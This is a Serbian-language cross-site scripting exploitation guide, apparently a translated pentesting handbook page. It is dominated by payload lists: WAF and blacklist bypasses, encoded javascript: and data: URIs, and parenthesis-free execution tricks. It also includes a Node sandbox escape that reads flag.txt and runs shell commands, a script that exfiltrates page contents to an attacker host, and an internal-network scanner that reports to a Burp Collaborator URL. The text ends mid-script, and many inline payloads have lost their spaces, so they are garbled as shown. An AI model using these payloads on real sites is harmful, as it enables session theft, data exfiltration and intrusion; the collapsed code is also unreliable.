Ako ste zainteresovani za hakersku karijeru i hakovanje onoga što se ne može hakovati - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika u pisanju i govoru).
Proverite da li se bilo koja vrednost kojom upravljate (parametri, putanja, zaglavlja?, kolačići?) reflektuje u HTML-u ili se koristi od strane JS koda.
Pronađite kontekst gde se reflektuje/koristi.
Ako je reflektovano
Proverite koje simbole možete koristiti i u zavisnosti od toga pripremite payload:
U čistom HTML-u:
Možete li kreirati nove HTML oznake?
Možete li koristiti događaje ili atribute koji podržavaju javascript: protokol?
Možete li zaobići zaštitu?
Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS motora (AngularJS, VueJS, Mavo...), možete zloupotrebiti Client Side Template Injection.
Da biste uspešno iskoristili XSS, prvo što trebate pronaći je vrednost kojom upravljate koja se reflektuje na web stranici.
Intermediarno reflektovano: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na web stranici, možete iskoristiti Reflected XSS.
Smešteno i reflektovano: Ako otkrijete da je vrednost kojom upravljate sačuvana na serveru i reflektuje se svaki put kada pristupite stranici, možete iskoristiti Stored XSS.
Pristupljeno putem JS-a: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti DOM XSS.
Konteksti
Kada pokušavate iskoristiti XSS, prvo što trebate znati je gde se reflektuje vaš unos. Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine.
Čisti HTML
Ako se vaš unos reflektuje na čistom HTML stranici, moraćete zloupotrebiti neku HTML oznaku kako biste izvršili JS kod: <img , <iframe , <svg , <script ... ovo su samo neke od mnogih mogućih HTML oznaka koje možete koristiti.
Takođe, imajte na umu Client Side Template Injection.
Unutar atributa HTML oznaka
Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:
Da izađete iz atributa i iz oznake (tada ćete biti u čistom HTML-u) i kreirate novu HTML oznaku za zloupotrebu: "><img [...]
Ako možete izaći iz atributa ali ne i iz oznake (> je enkodiran ili obrisan), zavisno od oznake možete kreirati događaj koji izvršava JS kod: " autofocus onfocus=alert(1) x="
Ako ne možete izaći iz atributa (" je enkodiran ili obrisan), onda zavisno od kog atributa se vaša vrednost reflektuje da li kontrolišete celu vrednost ili samo deo moći ćete je zloupotrebiti. Na primer, ako kontrolišete događaj poput onclick=, moći ćete da naterate da izvrši proizvoljan kod kada se klikne. Još jedan interesantan primer je atribut href, gde možete koristiti javascript: protokol za izvršavanje proizvoljnog koda: href="javascript:alert(1)"
Ako se vaš unos reflektuje unutar "neiskorišćenih oznaka" možete pokušati trik sa accesskey da zloupotrebite ranjivost (trebaće vam neka vrsta socijalnog inženjera da iskoristite ovo): " accesskey="x" onclick="alert(1)" x="
Čudan primer Angular koji izvršava XSS ako kontrolišete ime klase:
U ovom slučaju, vaš unos se reflektuje između <script> [...] </script> oznaka HTML stranice, unutar .js fajla ili unutar atributa korišćenjem javascript: protokola:
Ako je reflektovan između <script> [...] </script> oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubacite </script> i izbegnete ovaj kontekst. Ovo funkcioniše jer će pregledač prvo parsirati HTML oznake a zatim sadržaj, stoga neće primetiti da je vaš ubačeni </script> tag unutar HTML koda.
Ako je reflektovan unutar JS stringa i prethodni trik ne funkcioniše, moraćete izaći iz stringa, izvršiti svoj kod i rekonstruisati JS kod (ako postoji greška, neće biti izvršena):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
Ako je reflektovan unutar template literala, možete ugraditi JS izraze koristeći sintaksu ${ ... }: var pozdravi = `Zdravo, ${alert(1)}`
Unicode enkodiranje funkcioniše za pisanje validnog JavaScript koda:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Podizanje Javascript-a
Javascript Hoisting se odnosi na mogućnost deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.Proverite sledeću stranicu za više informacija:
Na nekoliko web stranica postoje endpointovi koji prihvataju kao parametar ime funkcije za izvršavanje. Čest primer koji se može videti je nešto poput: ?callback=callbackFunc.
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je menjanje vrednosti parametra (na primer u 'Vulnerable') i traženje grešaka u konzoli kao što je:
U slučaju da je ranjiv, možda ćete moći da pokrenete upozorenje samo slanjem vrednosti: ?callback=alert(1). Međutim, vrlo je često da će ovi endpointovi validirati sadržaj da bi dozvolili samo slova, brojeve, tačke i donje crte ([\w\._]).
Ipak, čak i sa tom ograničenom moguće je izvršiti neke akcije. To je zato što možete koristiti te validne karaktere da pristupite bilo kom elementu u DOM-u:
Možete takođe pokušati da pokrenete Javascript funkcije direktno: obj.sales.delOrders.
Međutim, obično su endpointi koji izvršavaju navedenu funkciju endpointi bez mnogo interesantnog DOM-a, druge stranice na istom poreklu će imati zanimljiviji DOM za obavljanje više akcija.
Stoga, kako bi se zloupotrebila ova ranjivost u drugačijem DOM-u, razvijena je eksploatacija Same Origin Method Execution (SOME):
Postoji JS kod koji nesigurno koristi neke podatke kontrolisane od strane napadača poput location.href. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.
Ovakav tip XSS-a može se pronaći bilo gde. Ne zavise samo od eksploatacije klijenta web aplikacije već od bilo kogkonteksta. Ovakav tip proizvoljne JavaScript eksploatacije može čak biti zloupotrebljen za dobijanje RCE, čitanjeproizvoljnihfajlova na klijentima i serverima, i više.
Neki primeri:
Kada se vaš unos reflektuje unutar HTML stranice ili možete da pobegnete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete zloupotrebiti < da biste kreirali nove oznake: Samo pokušajte da reflektujete taj karakter i proverite da li je HTML enkodiran ili obrisan ili ako je reflektovan bez promena. Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj.
Za ove slučajeve takođe imajte na umuUbacivanje šablona na klijentskoj strani.Napomena: HTML komentar se može zatvoriti koristeći**** --> ili ****--!>
U ovom slučaju, ako se ne koristi crna/bela lista, mogli biste koristiti payload-ove poput:
Međutim, ako se koristi crna/bela lista oznaka/atributa, moraćete bruteforce-ovati koje oznake možete kreirati.
Kada ste pronašli koje su oznake dozvoljene, moraćete bruteforce-ovati atribute/događaje unutar pronađenih validnih oznaka da biste videli kako možete napasti kontekst.
Bruteforce oznaka/događaja
Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Kopiraj oznake u međuspremnik. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li je bilo koja oznaka otkrivena kao zlonamerna od strane WAF. Kada otkrijete koje oznake možete koristiti, možete bruteforce-ovati sve događaje koristeći validne oznake (na istoj veb stranici kliknite na Kopiraj događaje u međuspremnik i pratite isti postupak kao pre).
Prilagođene oznake
Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da kreirate prilagođenu oznaku i izvršite JS kod sa atributom onfocus. U XSS zahtevu, morate završiti URL sa # da biste naveli stranicu da se fokusira na taj objekat i izvrši kod:
Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete sa nekim smešnim trikovima:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
Poslednji koristi 2 Unicode karaktera koji se proširuju na 5: telsr
Više ovakvih karaktera može se pronaći ovde.
Da biste proverili u kojim se karakterima dekomponuju, proverite ovde.
Klikni XSS - Clickjacking
Ako za iskorišćavanje ranjivosti treba korisnik da klikne na link ili formu sa unapred popunjenim podacima, možete pokušati da zloupotrebite Clickjacking (ako je stranica ranjiva).
Nemoguće - Dangling Markup
Ako samo mislite da je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda, trebalo bi da proverite Danglig Markup jer biste mogli iskoristiti ranjivost bez izvršavanja JS koda.
Ubacivanje unutar HTML taga
Unutar taga/izlazak iz vrednosti atributa
Ako ste unutar HTML taga, prvo što možete pokušati je da izađete iz taga i koristite neke od tehnika navedenih u prethodnom odeljku za izvršavanje JS koda.
Ako ne možete izaći iz taga, možete kreirati nove atribute unutar taga kako biste pokušali izvršiti JS kod, na primer koristeći neki payload kao (napomena da u ovom primeru dvostruki navodnici se koriste za izlazak iz atributa, nećete ih trebati ako se vaš unos odražava direktno unutar taga):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Unutar atributa
Čak i ako ne možete pobeći iz atributa (" se kodira ili briše), zavisno o kojem atributu se vaša vrednost reflektuje, da li kontrolišete celu vrednost ili samo deo, moći ćete da je zloupotrebite. Na primer, ako kontrolišete događaj poput onclick=, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.
Još jedan interesantan primer je atribut href, gde možete koristiti javascript: protokol da izvršite proizvoljan kod: href="javascript:alert(1)"
Bypass unutar događaja korišćenjem HTML enkodiranja/URL enkodiranja
HTML enkodirani karakteri unutar vrednosti atributa HTML oznaka se dekodiraju pri izvršavanju. Stoga nešto poput sledećeg će biti validno (payload je podebljan): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Imajte na umu da je svaka vrsta HTML enkodiranja validna:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
Bypass unutrašnjeg događaja korišćenjem Unicode enkodiranja
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Posebni protokoli unutar atributa
Ovde možete koristiti protokole javascript: ili data: na nekim mestima da izvršite proizvoljan JS kod. Neke će zahtevati interakciju korisnika, a neke neće.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Mesta gde možete ubaciti ove protokole
Uopšteno, javascript: protokol se može koristiti u bilo kom tagu koji prihvata atribut href i u većini tagova koji prihvataju atribut src (ali ne <img)
Osim toga, postoji još jedan koristan trik za ove slučajeve: Čak i ako je vaš unos unutar javascript:... URL enkodiran, biće dekodiran pre nego što se izvrši. Dakle, ako trebate da izbegnete iz stringa koristeći jednostruki navodnik i primetite da je URL enkodiran, zapamtite da nije važno, biće interpretiran kao jednostruki navodnik tokom izvršavanja.
Imajte na umu da ako pokušate koristiti iURLencode + HTMLencode u bilo kom redosledu za enkodiranje payload-a, to nećeraditi, ali možete mešati ih unutar payload-a.
Korišćenje heksadecimalnog i oktalnog enkodiranja sa javascript:
Možete koristiti heksadecimalno i oktalno enkodiranje unutar atributa src elementa iframe (barem) da biste deklarisali HTML oznake za izvršavanje JS:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
Obrnuto preusmeravanje kartica
<atarget="_blank"rel="opener"
Ako možete ubaciti bilo koji URL u proizvoljni <a href= tag koji sadrži atribute target="_blank" and rel="opener", proverite sledeću stranicu da biste iskoristili ovu funkcionalnost:
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
Od ovde: Možete izvršiti XSS payload unutar skrivenog atributa, pod uslovom da možete ubeditižrtvu da pritisne kombinaciju tastera. Na Firefox Windows/Linux kombinacija tastera je ALT+SHIFT+X, a na OS X-u je CTRL+ALT+X. Možete specificirati drugu kombinaciju tastera koristeći drugi taster u access key atributu. Evo vektora:
Ako pronađete XSS u veoma malom delu veba koji zahteva neku vrstu interakcije (možda mali link u podnožju sa onmouseover elementom), možete pokušati modifikovati prostor koji element zauzima kako biste maksimizirali verovatnoću da će link biti aktiviran.
Na primer, možete dodati neko stilizovanje elementu kao što je: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Međutim, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadgets, pa ako pronađete, na primer
.test {display:block; color: blue; width: 100%}
i
#someid {top: 0; font-family: Tahoma;}
Sada možete modifikovati naš link i dovesti ga u oblik
U ovim slučajevima, vaš unos će biti reflektovan unutar JS koda.js fajla ili između <script>...</script> tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju javascript: protokol.
Bekstvo <script> taga
Ako je vaš kod ubačen unutar <script> [...] var input = 'reflektovani podaci' [...] </script> možete lako izbeći zatvaranje <script> taga:
Imajte na umu da u ovom primeru čak nismo ni zatvorili jednostruki navodnik. To je zato što se parsiranje HTML-a prvo vrši od strane pregledača, što uključuje identifikovanje elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti vrši se tek nakon toga.
Unutar JS koda
Ako se <> dezinfikuju, još uvek možete izbeći string gde se vaš unos nalazi i izvršiti proizvoljni JS. Važno je popraviti JS sintaksu, jer ako postoje greške, JS kod neće biti izvršen:
Da biste konstruisali stringove osim jednostrukih i dvostrukih navodnika, JS takođe prihvata backticks`` . Ovo je poznato kao šablonski literali jer omogućavaju da se ugrađeni JS izrazi koriste pomoću sintakse ${ ... }.
Dakle, ako primetite da se vaš unos reflektuje unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu ${ ... } da biste izvršili proizvoljni JS kod:
Ovo se može zloupotrebiti korišćenjem:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
Izvršenje enkodiranog koda
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript razmaci
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
Javascript unutar komentara
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript bez zagrada
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
DOM ranjivosti
Postoji JS kod koji koristi nesigurne podatke kontrolisane od strane napadača poput location.href. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.
Zbog proširenja objašnjenjaDOM ranjivosti premešteno je na ovu stranicu:
Tamo ćete pronaći detaljno objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti.
Takođe, ne zaboravite da na kraju pomenutog posta možete pronaći objašnjenje o DOM Clobbering napadima.
Ostali Bypass-ovi
Normalizovani Unicode
Možete proveriti da li se reflektovane vrednosti normalizuju u unicode formatu na serveru (ili na strani klijenta) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. Pronađite primer ovde.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Bypassovanje Ruby-On-Rails
Zbog RoR masovnog dodeljivanja navodnici se ubacuju u HTML, a zatim se ograničenje navodnika zaobilazi i dodaju se dodatna polja (onfocus) unutar taga.
Primer obrasca (iz ovog izveštaja), ako pošaljete payload:
Ako otkrijete da možete ubaciti zaglavlja u 302 Redirect odgovor, možete pokušati naterati pregledač da izvrši proizvoljni JavaScript. Ovo nije trivijalno jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je samo XSS payload beskoristan.
U ovom izveštaju i ovom možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da inspicira i izvrši XSS payload unutar tela.
Prethodno poznati protokoli: mailto://, //x:1/, ws://, wss://, prazno zaglavlje Lokacija, resource://.
Samo Slova, Brojevi i Tačke
Ako možete naznačiti callback koji će JavaScript izvršiti ograničen na ove karaktere. Pročitajte ovaj odeljak ovog posta da biste saznali kako iskoristiti ovaj ponašanje.
Validni <script> Content-Type-ovi za XSS
(Od ovde) Ako pokušate učitati skript sa content-type-om kao što je application/octet-stream, Chrome će prikazati sledeću grešku:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
(Od ovde) Dakle, koje vrste mogu biti naznačene za učitavanje skripta?
<scripttype="???"></script>
Odgovor je:
modul (podrazumevano, nema šta da se objasni)
webbundle: Web paketi su funkcija koja vam omogućava da zapakujete gomilu podataka (HTML, CSS, JS...) zajedno u .wbn fajl.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
Ovo ponašanje je korišćeno u ovom opisu da bi se preslikala biblioteka na eval kako bi se zloupotrebila i izazvala XSS.
speculationrules: Ova funkcionalnost je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način:
Ako stranica vraća sadržaj sa content-type text/xml, moguće je naznačiti namespace i izvršiti proizvoljni JS:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Posebni obrasci zamene
Kada se koristi nešto poput "neki {{šablon}} podaci".replace("{{šablon}}", <korisnički_unos>), napadač može koristiti posebne zamene niski da pokuša da zaobiđe neke zaštite: "123 {{šablon}} 456".replace("{{šablon}}", JSON.stringify({"ime": "$'$`alert(1)//"}))
Na primer, u ovom objašnjenju, ovo je korišćeno da izbegne JSON nisku unutar skripte i izvrši proizvoljan kod.
Ako imate ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Ako je sve nedefinisano pre izvršavanja nepoverljivog koda (kao u ovom writeup-u), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepoverljivog koda:
Korišćenjem import()
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
Pristupanje require indirektno
Prema ovome moduli su omotani od strane Node.js unutar funkcije, kao što je ovo:
Na sličan način kao u prethodnom primeru, moguće je koristiti rukovaoce greškama da pristupite omotaču modula i dobijete funkciju require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Ako je postavljen HTTPOnly flag na kolačiću, nećete moći pristupiti kolačićima iz JavaScript-a. Ali evo nekih načina za zaobilaženje ove zaštite ako imate dovoljno sreće.
Ukradi sadržaj stranice
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Pronalaženje internih IP adresa
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
